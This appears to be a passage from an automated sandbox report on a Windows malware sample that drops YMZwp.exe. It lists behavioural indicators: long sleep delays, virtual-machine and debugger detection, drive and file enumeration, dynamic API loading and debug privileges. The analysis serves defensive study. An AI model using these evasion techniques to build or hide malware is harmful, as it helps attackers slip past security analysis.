Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe TID: 7408 Thread sleep time: -31200000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe TID: 7380 Thread sleep time: -1800000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe TID: 7388 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe TID: 7372 Thread sleep time: -194560s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe TID: 7632 Thread sleep time: -210000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe TID: 7304 Thread sleep time: -2506240s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe TID: 1624 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe TID: 2000 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\cscript.exe TID: 1072 Thread sleep count: 9994 > 30
Source: C:\Windows\SysWOW64\cscript.exe TID: 1072 Thread sleep time: -99940000s >= -30000s
Source: C:\Windows\SysWOW64\cscript.exe TID: 1912 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\cscript.exe TID: 3276 Thread sleep time: -922337203685477s >= -30000s
Queries disk information (often used to detect virtual machines)
Source: C:\Windows\System32\dllhost.exe File opened: PhysicalDrive0 Jump to behavior
Uses the system / local time for branch decision (may execute only at specific dates)
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Code function: 9_2_00B31718 GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [ebp+08h], 02h and CTI: jne 00B31754h 9_2_00B31718
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0042B020 FindNextFileA,FindClose,FindFirstFileA,FindClose, 6_2_0042B020
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0041D290 FindFirstFileA,SendMessageA,SendMessageA,FindNextFileA,FindClose,SendMessageA, 6_2_0041D290
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_00433500 FindFirstFileA,FindClose, 6_2_00433500
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_004BCF09 __EH_prolog,GetFullPathNameA,lstrcpyn,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrcpy, 6_2_004BCF09
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_024257A0 GetTempPathA,lstrlen,lstrcat,lstrlen,lstrcpy,lstrcat,FindFirstFileA,FindNextFileA,lstrcat,lstrlen,lstrlen,lstrcmpiA,lstrcmpiA,Sleep,FindClose,Sleep,RtlExitUserThread, 6_2_024257A0
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0242BADD Sleep,lstrcat,lstrcpy,CharLowerA,lstrcat,FindFirstFileA,FindNextFileA,Sleep,lstrlen,lstrcat,lstrlen,CharUpperA,lstrlen,lstrcmpiA,lstrcmpiA,lstrcpy,lstrlen,lstrcmpiA,FindClose,Sleep, 6_2_0242BADD
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Code function: 9_2_00B329E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose, 9_2_00B329E2
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Code function: 9_2_00B32B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread, 9_2_00B32B8C
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread delayed: delay time: 120000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread delayed: delay time: 300000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread delayed: delay time: 360000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread delayed: delay time: 2100000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread delayed: delay time: 2400000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread delayed: delay time: 900000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\ Jump to behavior
Source: SearchApp.exe, 0000001F.00000000.1590741576.000001D62DB50000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: dx0ma3d6fxrucbibtqempqemuae&or=w
Source: Amcache.hve.9.dr Binary or memory string: VMware
Source: SearchApp.exe, 0000001F.00000000.1537840813.000001CE1899C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: /rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
Source: SearchApp.exe, 0000001F.00000000.1562195978.000001D61B740000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: hyper-v
Source: SearchApp.exe, 0000001F.00000000.1632268032.000001D633570000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\VMware\Infrastructure\Virtual Infrastructure Client\Launcher\VpxClient.exe8601749+
Source: SearchApp.exe, 0000001F.00000000.1632187010.000001D633567000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: KasperskyLab.Kis.UI.Toasts8700VMware.Workstation.vmuite
Source: Amcache.hve.9.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: SearchApp.exe, 0000001F.00000000.1632268032.000001D633570000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\VMware\Infrastructure\Virtual Infrastructure Client\Launcher\VpxClient.exe
Source: SearchApp.exe, 0000001F.00000000.1555939936.000001D61A6EA000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: https://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=wes
Source: explorer.exe, 0000001B.00000000.1479087951.0000000008796000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.4124666902.0000000008796000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWe
Source: SearchApp.exe, 0000001F.00000000.1560794643.000001D61AF87000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1589994067.000001D62DAD9000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: s://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.000000000084E000.00000004.00000020.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp, YMZwp.exe, 00000009.00000003.1305108589.0000000000C59000.00000004.00000020.00020000.00000000.sdmp, YMZwp.exe, 00000009.00000003.1305339645.0000000000C6A000.00000004.00000020.00020000.00000000.sdmp, YMZwp.exe, 00000009.00000002.1358038153.0000000000C3E000.00000004.00000020.00020000.00000000.sdmp, YMZwp.exe, 00000009.00000002.1358038153.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp, YMZwp.exe, 00000009.00000003.1304793378.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.1455737868.000001F0FDD84000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000000.1479087951.00000000087C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.4124666902.00000000087C0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: explorer.exe, 0000001B.00000003.2291978153.00000000088E6000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: svchost.exe, 00000017.00000000.1450927769.000001697A6A9000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: @os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;False]
Source: Amcache.hve.9.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: SearchApp.exe, 0000001F.00000000.1562195978.000001D61B740000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: hyper-vOs and f
Source: SearchApp.exe, 0000001F.00000000.1632225446.000001D63356A000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware.View.Client
Source: explorer.exe, 0000001B.00000003.2291978153.00000000088E6000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: Amcache.hve.9.dr Binary or memory string: vmci.sys
Source: explorer.exe, 0000001B.00000000.1479087951.0000000008979000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SATA CD00`
Source: SearchApp.exe, 0000001F.00000000.1555743519.000001D61A667000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Downloading data https://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w...
Source: SearchApp.exe, 0000001F.00000000.1554109630.000001D61A492000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: neroonenotevmwareitunes
Source: SearchApp.exe, 0000001F.00000000.1628520671.000001D632875000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: 0F2E0B9FA8E}\VMware\VMware vCenter Converter Standalone\converter.exe
Source: Amcache.hve.9.dr Binary or memory string: VMware20,1
Source: Amcache.hve.9.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.9.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.9.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: SearchApp.exe, 0000001F.00000000.1628437057.000001D63285E000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\VMware\VMware vCenter Converter Standalone\converter.exe{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Polaris Office\Office8\Binary\PolarisOffice.exe
Source: explorer.exe, 0000001B.00000000.1468114321.0000000000A44000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000^F1O
Source: Amcache.hve.9.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: SearchApp.exe, 0000001F.00000000.1559347123.000001D61AD95000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: ?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
Source: Amcache.hve.9.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.9.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.9.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.9.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.9.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: explorer.exe, 0000001B.00000003.2291978153.00000000088E6000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}l
Source: SearchApp.exe, 0000001F.00000000.1555939936.000001D61A6EA000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: lhttps://www.bing.com/AS/API/WindowsCortanaPane/V2/InitFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
Source: SearchApp.exe, 0000001F.00000000.1632187010.000001D633567000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware.Horizon.Client
Source: SearchApp.exe, 0000001F.00000000.1632187010.000001D633567000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware.Workstation.vmplayercom.streamlabs.slobsna
Source: explorer.exe, 0000001B.00000003.2291978153.00000000088E6000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: RuntimeBroker.exe, 00000021.00000000.1653243216.00000269F9A4D000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.9.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: SearchApp.exe, 0000001F.00000000.1628520671.000001D632875000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: 0F2E0B9FA8E}\VMware\VMware vCenter Converter Standalone\converter.exe0
Source: dwm.exe, 0000000E.00000000.1305778078.00000283DDE43000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&0000007R
Source: Amcache.hve.9.dr Binary or memory string: VMware Virtual USB Mouse
Source: explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.9.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.9.dr Binary or memory string: VMware, Inc.
Source: explorer.exe, 0000001B.00000000.1479087951.000000000888E000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: 2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}=
Source: Amcache.hve.9.dr Binary or memory string: VMware20,1hbin@
Source: SearchApp.exe, 0000001F.00000000.1555939936.000001D61A6EA000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
Source: Amcache.hve.9.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.9.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%
Source: SearchApp.exe, 0000001F.00000000.1544462524.000001CE197F6000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: https://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=wr
Source: SearchApp.exe, 0000001F.00000000.1590741576.000001D62DB50000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w1
Source: Amcache.hve.9.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: SearchApp.exe, 0000001F.00000000.1544462524.000001CE197F6000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1555939936.000001D61A6EA000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1560794643.000001D61AF90000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1567585983.000001D61C5A7000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: https://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
Source: SearchApp.exe, 0000001F.00000000.1541611507.000001CE194D6000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: vmware workstation 12 player
Source: SearchApp.exe, 0000001F.00000000.1632187010.000001D633567000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware.Workstation.vmui
Source: Amcache.hve.9.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.9.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: svchost.exe, 00000017.00000000.1450883353.000001697A687000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1536735116.000001CE13FAA000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: smartscreen.exe, 00000022.00000002.2517306215.0000014226A3F000.00000004.00000020.00020000.00000000.sdmp, smartscreen.exe, 00000022.00000000.1657485333.0000014226A3F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW$
Source: SearchApp.exe, 0000001F.00000000.1558499282.000001D61ACD5000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1543708623.000001CE1975E000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1544267785.000001CE197D1000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1588760995.000001D62DA13000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1550684684.000001D619B1B000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1620010315.000001D630D8C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: var fbpkgiid = fbpkgiid || {}; fbpkgiid.page = '';;(function(BingAtWork) { if (typeof (bfbWsbTel) !== "undefined") { BingAtWork.WsbWebTelemetry.init({"cfg":{"e":true,"env":"PROD","t":"33d70a864599496b982a39f036f71122-2064703e-3a9d-4d90-8362-eec08dffe8e8-7176"},"ig":"829FCEE88A524F41943F335B832D1A47","ConversationId":"d0438cf5-4bd5-480a-aeab-06785994a74c","LogicalId":"1f8c91c6-235c-4050-8639-720df71e4e93","tid":"651e7d8414ca4632956d0384c6530119","sid":"2E8B8FD9DBFE6CCB3A6B9C78DAFA6D14","uid":"","muid":"531305E83CE64DE088676FE94B9682C4","puid":null,"isMtr":false,"tn":null,"tnid":null,"msa":false,"mkt":"en-us","b":"edge","eref":"Ref A: 651e7d8414ca4632956d0384c6530119 Ref B: MWHEEEAP0024F6E Ref C: 2023-10-05T09:10:28Z","vs":{"BAW10":"BFBLCLAZY","BAW11":"MSBSSVLM","BAW5":"MSBCUSTVERT","BAW7":"BFBPROWSBINITCF","BAW9":"BCETONCF","CLIENT":"WINDOWS","COLUMN":"SINGLE","FEATURE.BFBCREFINER":"1","FEATURE.BFBEDUQWQSCLKWSB":"1","FEATURE.BFBLCLAZY":"1","FEATURE.BFBMSBGHF":"1","FEATURE.BFBPROWSBINITCF":"1","FEATURE.BFBSPCUSTVERT":"1","FEATURE.BFBSSFTOOB":"1","FEATURE.BFBSSVLM":"1","FEATURE.BFBWSBGHF928T":"1","FEATURE.BFBWSBRS0830TF":"1","FEATURE.MSBCUSTVERT":"1","FEATURE.MSBSSVLM":"1","FEATURE.MSNSBT1":"1","FEATURE.WSBREF-C":"1","MKT":"EN-US","MS":"0","NEWHEADER":"1","THEME":"THBRAND","UILANG":"EN"},"dev":"DESKTOP","os":"WINDOWS","osver":"11","dc":"CoreUX-Prod-MWHE01","canvas":"","sci":true,"isMidgardEnabled":true,"isHomepage":false,"snrVersion":"2023.10.04.39971431"}); } })(BingAtWork || (BingAtWork = {}));;_w.rms.js({'A:rms:answers:BoxModel:Framework':'https:\/\/r.bing.com\/rb\/18\/jnc,nj\/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w'});;
Source: SearchApp.exe, 0000001F.00000000.1632187010.000001D633567000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware.Workstation.vmplayer
Source: smartscreen.exe, 00000022.00000002.2517306215.00000142269A3000.00000004.00000020.00020000.00000000.sdmp, smartscreen.exe, 00000022.00000000.1657485333.00000142269A3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWP0
Source: SearchApp.exe, 0000001F.00000000.1541611507.000001CE194D6000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: vmware workstation 12 playervegas pro 12.0 (64-bit)
Source: SearchApp.exe, 0000001F.00000000.1555939936.000001D61A6EA000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: nhttps://r.bing.com/rp/LisgCZCwGQ4lRz4go9tlwPslw_k.br.js;path=/;secure;SameSite=Noneq7CbsJ&or=whttps://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=wr
Source: Amcache.hve.9.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.9.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.9.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: SearchApp.exe, 0000001F.00000000.1628437057.000001D63285E000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\VMware\VMware vCenter Converter Standalone\converter.exe
Source: SearchApp.exe, 0000001F.00000000.1584218780.000001D62D7B0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: https://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w O|-
Source: explorer.exe, 0000001B.00000002.4124666902.00000000087C0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: NXTVMWare
Source: SearchApp.exe, 0000001F.00000000.1632225446.000001D63356A000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware.View.Client33
Source: svchost.exe, 00000017.00000000.1450927769.000001697A6A9000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: @os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;
Source: Amcache.hve.9.dr Binary or memory string: VMware-42 27 c7 3b 45 a3 e4 a4-61 bc 19 7c 28 5c 10 19
Source: Amcache.hve.9.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: explorer.exe, 0000001B.00000002.4124666902.00000000087C0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000d
Source: svchost.exe, 00000017.00000000.1450773187.000001697A665000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: $@os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;
Source: SearchApp.exe, 0000001F.00000000.1555939936.000001D61A6EA000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: https://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=wP
Source: explorer.exe, 0000001B.00000000.1468114321.0000000000A44000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0042B220 LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,FreeLibrary,FreeLibrary,LoadTypeLib,LoadTypeLib,RegisterTypeLib,UnRegisterTypeLib, 6_2_0042B220
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_00638044 mov eax, dword ptr fs:[00000030h] 6_2_00638044
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_00450D00 GetProcessHeap,OleInitialize,GetModuleFileNameA,SetCurrentDirectoryA,LoadCursorA,GetStockObject,GetCurrentThreadId, 6_2_00450D00
Enables debug privileges
